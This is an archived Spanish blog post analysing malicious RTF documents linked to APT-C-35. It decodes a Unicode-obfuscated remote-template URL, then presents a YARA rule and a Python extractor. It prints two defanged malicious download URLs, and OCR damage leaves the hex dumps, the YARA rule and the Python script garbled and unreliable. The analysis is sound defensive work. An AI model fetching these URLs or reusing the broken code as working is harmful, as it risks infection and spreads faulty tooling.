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Decodificando ficheros RTF maliciosos

By Rafa.Pedrero

Published: 2021-07-19 - Archived: 2026-04-06 00:46:42 UTC
Hola a tod@s!

Hace un par de meses vi este twitter, de la muestra, y me pareci6 interesante, entonces traté de automatizarlo y hoy

lo comparto con vosotros :D

Echemos un vistazo a la muestra:

"= INTEZER ANALYZE

Solamente 4 antivirus lo detectaban entonces, a dia de hoy, muchos mas.
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https://mobile.twitter.com/IntezerLabs/status/1389210529802170370?ref=ciberseguridad.blog
https://analyze.intezer.com/analyses/0952d990-13f3-4d86-9dda-f714a591acb5/sub/4d38a8bf-ccbe-47d6-ae77-9032b3eaa3c5?ref=ciberseguridad.blog
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Si nos fijamos en el comentario del analista, nos indica que en el “Template” estd la URL maliciosa que se

descargara el malware que sea y lo ejecutara.
Pues vamos a buscar eso mismo.

$ grep -ia -A 1 template PT6-1152.doc
{\*\template\u-65432?\u-654207\u-654207\u-654247\u-654787\u-654897\u-654897\u-654317\u-65436?\u-
654277\u-65423?7\u-654197\u-654317\u-654377\u-654297\u-65490?\u-654167\u-65415?\u-654147\u-654897\u-
654307\u-654397\u-654377\u-654297\u-654897\u-654637\u-654187\u-654657\u-654547\u-654267\u-654597\u-
654317\u-654687\u-654147\u-654337\u-654367\u-654357\u-654227\u-654557\u-654557\u-654207\u-65435?\u-
654237\u-654587\u-654307\u-654587\u-654337\u-654617\u-65425?\u-654637\u-654477\u-654237\u-654397\u-
654607\u-654497\u-654827\u-654697\u-654907\u-654367\u-65425?\u-65420?}\1trpar
\sectd\ltrsect\linex@\endnhere\sectlinegrid360\sectdefaultcl\sftnbj
{\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2

$ grep -ia IvGRnMiDzgderQQteqNjNgKoIYqalLW6C.dot PT6-1152.doc | wc -1
0

Segtin acabamos de ver, “template” se encuentra en el fichero, pero la url no aparece por ningtin sitio.

Algunos ya habréis adivinado que eso que veiamos justo después de template, correspondia con la url que aparece

en Virus Total.
Entonces, tenemos el siguiente texto que hay que “traducir” a “http://...”.

\u-654327\u-654207\u-654207\u-654247\u-654787\u-654897\u-65489?\u-654317\u-654367\u-654277\u-65423?
\u-654197\u-654317\u-65437?\u-654297\u-654907\u-654167\u-654157\u-654147\u-654897\u-654307\u-654397\u-
654377\u-654297\u-654897\u-654637\u-654187\u-654657\u-654547\u-654267\u-654597\u-65431?\u-654687\u-
654147\u-654337\u-654367\u-654357\u-654227\u-65455?\u-65455?\u-654207\u-654357\u-65423?\u-654587\u-
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654307\u-654587\u-654337\u-654617\u-654257\u-654637\u-65447?\u-654237\u-654397\u-654607\u-654497\u-
654827\u-654697\u-654907\u-654367\u-654257\u-654207

Si esto es la url (como nos podemos imaginar), el primer valor tendria que ser la h, el segundo la t, el tercero otra

t, el cuarto la p y asi sucesivamente hasta completar lo que habiamos visto. Podemos seguir el siguiente ejemplo:

"h" == 0x0068 == -(-0x0068) == -(OxFFFF+1-0x68) == -65432=\u-65432?
"t" == 0x0074 == -(-0x0074) == -(OxFFFF+1-0x74) == -65420=\u-65420?

"p"

Nos crearemos un sencillo script en Python para automatizar esa conversion y obtener la url. Pero antes, siempre

= 0x0070 == -(-0x0070) == -(OxFFFF+1-0x70) == -65424=\u-654247

me gusta poder detectar este tipo de documentos con reglas Yara.

Solamente tendremos en cuenta una serie de cosas, debe ser un fichero RTF, por lo que comprobaremos la

cabecera del mismo para que sea asi.

694d433a729b65993daeT 5EeB6207TC2dB2c92018e8e310e121e1fa051567dba-apt-c-35-PTé-1152.doc X

oeesecee | [ENECIEFIEE] 66 31 5C 61 64 65 66 6C 61 6E 67 31 30 32 35 5C 61 6E 73 69 5C 61 6E 73 69 63 70 67 31 32 35 32 5C 75 63 31 5C 61 64 |[EYFir1\adefl:
0000802h |65 66 66 33 31 35 30 37 5C 64 65 66 66 38 5C 73 74 73 68 66 64 62 63 68 33 31 35 3@ 36 5C 73 74 73 6B 66 6C 6F 63 68 33 31 35 30 eff31587\defi
0000005636 5C 73 74 73 68 66 66 69 63 68 33 31 35 30 36 5C 73 74 73 6B 66 62 69 33 31 35 30 37 5C 64 65 66 GC 61 6E 67 31 30 33 33 5C 64 [6\stshfhich3:

ARAROMDA |BE £E R £4 EF £7 @R RE M4 AR AN AN ER T4 B0 SF £R BE GR 04 £F £7 A4 AR AR A0 ER 74 08 £F 8N BC OF 04 OF £7 08 OF A0 ER 78 08 OF |aflanafadann

Y debe estar codificado de la forma que hemos visto, justo después de template.

SEEES IS [TE WE f9 1% WL WS S Sv U UL UM Ur Ue v ws -~ Wh WE 13 1w Sw U WA SU YR uE B w3 Y vR U wR wE ¥R vE wR wE we wE we wE|l
BB 69 66 60 BA 60 BA 69 Bﬁ 1] Bﬁ 69 60 69 60 69 60 69 60 69 66 69 66 69 66 69 66 69 66 69 BB a9 99 78 5C 24
'4 65 20 6D OA 5C 75 20 36 35 34 33 32 3F 5C 75 20 36 35 34 32 30 3F 5C 75 20 36 35 32 6
20363531 37 38 3F 5C 75 2D 36 35 34 38 39 3F 5C 75 20 36 35 34 3839355C752936353¢33313F5C7 E
[GLE-ETN20 36 35 34 33 36 3F 5C 75 20 36 35 34 32 37 3F 5C 75 20 36 35 34 32 33 3F 5C 75 20 36 35 34 31 39 FENEETETETIETIET TR |- 654367 \u- 654277 - GEd"!'n‘\ll LELERE\u-654317
808624cH |5C 75 20 36 35 34 33 37 3F 5C 75 20 36 35 34 32 39 3F 5C 75 20 36 35 34 39 30 3IF 5C 7S 20 36 35 34 31 36 IF 5C 75 20 36 35 34 31 |\u-654377\u-854297\u-654907\u-654167\u-6541
000624f4 |35 3F 5C 75 2D 36 35 34 31 34 3F 5C 75 20 36 35 34 35 39 3F 5C 75 20 36 35 34 33 30 3F 5C 75 20 36 35 34 33 39 3IF 5C 75 20 36 35 |57\u-G54147\u-654897\u- 654307 u- 654397 \u-65
0000251F |34 33 37 3F SC 76 20 36 35 34 32 39 3IF 5C 75 20 36 35 34 38 39 IF 5C 75 20 36 35 34 36 33 IF SC VS 20 36 35 34 31 38 IF 5C 76 20 [4377\u-654207\u- 654897 \U- 654637 \u- 654187 \u-
8006254a |36 35 34 36 35 3F SC 75 20 36 35 34 35 34 3F 5C 75 2D 36 35 34 32 36 3F 5C 75 2D 36 35 34 35 39 3F 5C 75 20 36 35 34 33 31 IF SC|654657\u-654547\u-654267\u-654507 u- 654317\
00002575 |75 20 36 35 34 36 38 3F 5C 75 20 36 35 34 31 34 3F 5C 75 20 36 35 34 33 33 IF 5C 75 20 36 35 34 33 36 3IF 5C 75 20 36 35 34 33 35 |u-654687\u-654147\0- 654337\ - 654367 u- 65435
86862536 |3F 5C 75 20 36 35 34 32 32 3IF SC 75 20 36 35 34 35 35 3F 5C 75 20 36 35 34 35 35 IF SC 75 20 36 35 34 32 30 3IF 5C 75 20 36 3I5 34| 7WU-654227\U-654557\U-654557\u- 654207 u-654
B800625ch |33 35 3F 5C 75 20 36 35 34 32 33 3F 5C 75 20 36 35 34 35 38 3F 5C 75 20 36 35 34 33 30 3F 5C 75 20 36 35 34 35 38 3IF 5C 75 20 36|357\u-654237\u-654587 \u-654307 \u 654587 \u-6
80862576 |35 34 33 33 3F 5C 75 20 36 35 34 36 31 3F 5C 75 20 36 35 34 32 35 3F 5C 75 2D 36 35 34 36 33 IF SC 75 20 36 35 34 34 I7 IF 5C 75 54337\u-654617\u-654257\u-654637\u-654477\u
80062621 |20 36 35 34 32 33 3F 5C 75 20 36 35 34 33 39 3F SC 75 20 36 35 34 36 30 3F S5C 75 20 36 35 34 34 39 3IF SC 75 20 36 35 34 38 32 3IF|-654237\u-654397\u-654607\u-654497\u-654827
0006264c [5C 75 20 36 35 34 36 39 3IF 5C 75 20 36 35 34 39 30 3IF 5C 75 20 36 35 34 33 36 IF SC 7S 2D 36 35 34 32 35 IF 5C 75 20 36 35 34 32 |\u-654697\u-654007\u-654367 \u-654257 \u-6542
80002677 |30 IF 7D 5C 6C 74 72 7@ 61 72 20 SC 73 65 63 74 64 20 5C 6C 74 72 73 65 63 74 SC 6C 69 GE 65 78 30 SC 65 6E 64 6E 68 65 72 65 5C @P}Alrrpar \sectd \ltrsectilinexe\endnherey

Por lo tanto, esta seria nuestra regla Yara:

rule RTF_apt_c_35
{

meta:

date = "2021-7-10"
author = "by Rafa"

strings:

$rtf = { 7B 5C 72 74 }

$template = { 7B 5C
7?7 77 77 3F 5C 75 2D
7?2777 77 77 3F 5C
520777 NN
3F 5C 75 2D 77 7?7 77
?? 7?7 3F 5C 75 2D 77

condition:

2A
77
75
3F
7

77

$rtf at @ nd $template

}

5C
77
2D
5C
77

77

74
??
??
75

3F
7

65
??
??
20

5C
77

6D 70 6C 61 74 65 20 @D @A 5C 75 2D 727 27 27 77 7?7 3F 5C 75 2D 7?7 77
?7?73F5C752D0 77 772?72 77 2 3F5C 75207777 777 77 3F5C 752D
7?77 77 3F 5C 75 2D 7?7 77 77 77 77 3F 5C 75 2D 77 77 77 77 77 3F 5C
7?7 3R 5C 752D 77 77 77 77 72 3F 5C 7520 77 7 77 N
7520 7?7 7?7 77 77 77 3F 5C 75 2D 77 77 77 77 77 3F 5C 75 2D 77 77 77

3F}
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https://es.wikipedia.org/wiki/Rich_Text_Format?ref=ciberseguridad.blog
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Comprobamos que funciona:

$ yara RTF_apt-c-35.yar .
RTF_apt_c_35 ./694d433a729b65993dae758e862077c2d82c92018e8e310e121e1fab51567dba-apt-c-35-PT6-
1152.doc

Y ahora si, pasemos al script.

# -*- coding: utf-8 -*-
#!/usr/bin/env python
import sys

import os

import re

chars = r"A-Za-z0-9/\-:., $%' O[\]<> "

shortest_run = 4

regexp = '[%s]{%d,}' % (chars, shortest_run)

pattern = re.compile(regexp)

def info():
print ("Extract URL from RTF malicious apt-c-35 files - by Rafa")
print ("You need an argument to filename, example: %s <malicious.rtf>" % sys.argv[0])

sys.exit(1)

def notexist(filepath):

1

print ("'%s' does not exist" % filepath)

sys.exit(1)

def invalidheader():
print ("Invalid header, it's not a RTF file")
sys.exit(1)

def invalidtemplate():
print ("Invalid template document, it's not a RTF malicious apt-c-35 file")

sys.exit(1)

def check(myval):
# nh" == 0x0068 == _(_0)(0@68) —— _(0XFFFF+1—ex68) . _65432=\u_65432?
value = myval - OXFFFF - 1

return chr(abs(value))

def checkheader(filepath):

f = open(filepath,'rb")
s = f.read(4)
f.close()
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if "\x7b\x5c\x72\x74" in s:
return True
else:

return False

def checktemplate(stream):

try:

data = stream.decode()

if "\\template " in data:

return True

else:

return False

except:

print ('Something wrong in check template!")

return False

def process(stream):
data = stream.decode()

return pattern.findall(data)

if __name__ == "_ main__

if len(sys.argv) != 2:
info()
path = sys.argv[1]

if os.path.exists(path):
if checkheader(path) == False:

invalidheader()

[N

myres =
with open(path, mode="'rb') as file:
fileContent = file.read()

if checktemplate(fileContent) == False:
invalidtemplate()

for found_str in process(fileContent):
if re.match(r'Mu-[0-9]{5}', found_str):

[}

found_str.replace('u-","")

svalue

int(svalue)

svalue
res = str(check(svalue))

myres = myres + res

if ((myres != '"") and ('http' in myres)):
print ('[+] path: ' + path)
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1

print ('[+] url: " + myres)

else:

invalidtemplate()

else:

notexist(path)
Comprobemos la salida con el fichero mencionado en el articulo.

$ python decoder_malicious_rtf_unicode_template.py PT6-1152.doc
[+] path: PT6-1152.doc
[+] url: hxxp://idmquick.xyz/jack/IvGRnMiDzgderQQteqNjNgKoIYqalLW6C.dot

Nota: he cambiado http por hxxp para evitar posibles accesos

Probaremos con otro fichero.

$ python decoder_malicious_rtf_unicode_template.py Defence\ proposal\ 2021-2022.doc
[+] path: Defence proposal 2021-2022.doc
[+] url: hxxp://worldfronts.xyz/jack/h9i3411DMiztxAqrilsaOwHfUkSrAFWuI.dot

Aqui tenemos otra url a la que hay que evitar acceder :D

Espero que os haya gustado y hasta el préximo post!!!

Source: https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/
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